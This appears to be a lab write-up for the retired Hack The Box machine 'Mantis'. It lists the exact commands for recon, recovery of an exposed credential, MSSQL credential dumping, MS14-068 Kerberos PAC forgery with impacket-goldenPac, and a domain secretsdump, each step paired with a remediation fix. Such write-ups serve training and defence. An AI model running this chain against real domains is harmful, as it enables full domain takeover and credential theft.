Mantis
Summary
Recon against <retired-instance-ip> found IIS 7.5 on ports 1337 and 8080. Port 1337 exposed a browsable /secure_notes/ directory containing dev_notes_NDA.txt.txt and a second, base64-obfuscated filename (dev_notes_Nm...txt.txt). Fetching the obfuscated note revealed setup instructions for the box: OrchardCMS backed by SQL Server 2014 Express with a local SQL admin account, plus the credential itself. Port 8080 confirmed the OrchardCMS install (X-Generator: Orchard, IIS 7.5, ASP.NET/MVC headers).
The recovered MSSQL credential (admin / [REDACTED: recovered credential]) was validated with NetExec against MANTIS (Windows Server 2008 R2 SP1, domain htb.local, local auth). From there, orcharddb was enumerated: its sys.databases listing confirmed the Orchard database, and the Orchard user-table schema (INFORMATION_SCHEMA.COLUMNS) was queried to locate the CMS user-credential columns. This yielded a domain credential for james ([REDACTED: recovered credential]), which was confirmed valid over both SMB and LDAP against htb.local.
Privilege escalation to root exploited MS14-068 (Kerberos PAC forgery) — the unpatched Windows Server 2008 R2 domain controller allowed forging a Domain Admin PAC for james via Impacket's goldenPac.py. The tool logged a non-fatal Couldn't get forest info warning but still established a SYSTEM-level shell using the forged ticket. That shell was used directly to read C:\Users\James\Desktop\user.txt (user flag [REDACTED: flag]) and C:\Users\Administrator\Desktop\root.txt (root flag [REDACTED: flag]), completing root-owned.
Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -oA mantis_full $TARGETExact commands 2
curl -s http://$TARGET:1337/secure_notes/curl -s http://$TARGET:1337/secure_notes/dev_notes_NDA.txt.txtFixDisable IIS directory browsing on all sites and virtual directoriesMedium
Exact commands 2
curl -s http://$TARGET:1337/secure_notes/dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txtecho 'NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx' | base64 -d | xxdFixRemove all credential material from web-accessible directories before and after deploymentCritical
Exact commands 3
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-authnxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q 'SELECT name FROM sys.databases;'nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q "SELECT COLUMN_NAME FROM orcharddb.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='blog_Orchard_Users_UserPartRecord';"Exact commands 3
nxc mssql $TARGET -u admin -p '[REDACTED: recovered credential]' --local-auth -q "SELECT UserName, Password FROM orcharddb.dbo.blog_Orchard_Users_UserPartRecord;"nxc smb $TARGET -d htb.local -u james -p '[REDACTED: recovered credential]'nxc ldap $TARGET -d htb.local -u james -p '[REDACTED: recovered credential]'FixNever store Active Directory credentials in the CMS database; enforce one-way password hashingHigh
Exact commands 2
echo '$TARGET mantis htb.local mantis.htb.local' | sudo tee -a /etc/hostsimpacket-goldenPac -dc-ip $TARGET 'htb.local/james:[REDACTED: recovered credential]'@$TARGETFixApply MS14-068 patch (KB3011780) immediately and migrate off Windows Server 2008 R2Critical
Exact commands 3
type C:\Users\James\Desktop\user.txttype C:\Users\Administrator\Desktop\root.txtimpacket-secretsdump -just-dc 'htb.local/james:[REDACTED: recovered credential]'@$TARGETFindings
Exposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-10 06:33:41Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB) |
| 464/tcp | tcpwrapped |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 1337/tcp | http Microsoft IIS httpd 7.5 |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM |
| 8080/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49152/tcp | unknown recon-sweep-discovered |
| 49153/tcp | unknown recon-sweep-discovered |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49196/tcp | unknown recon-sweep-discovered |
| 50255/tcp | unknown recon-sweep-discovered |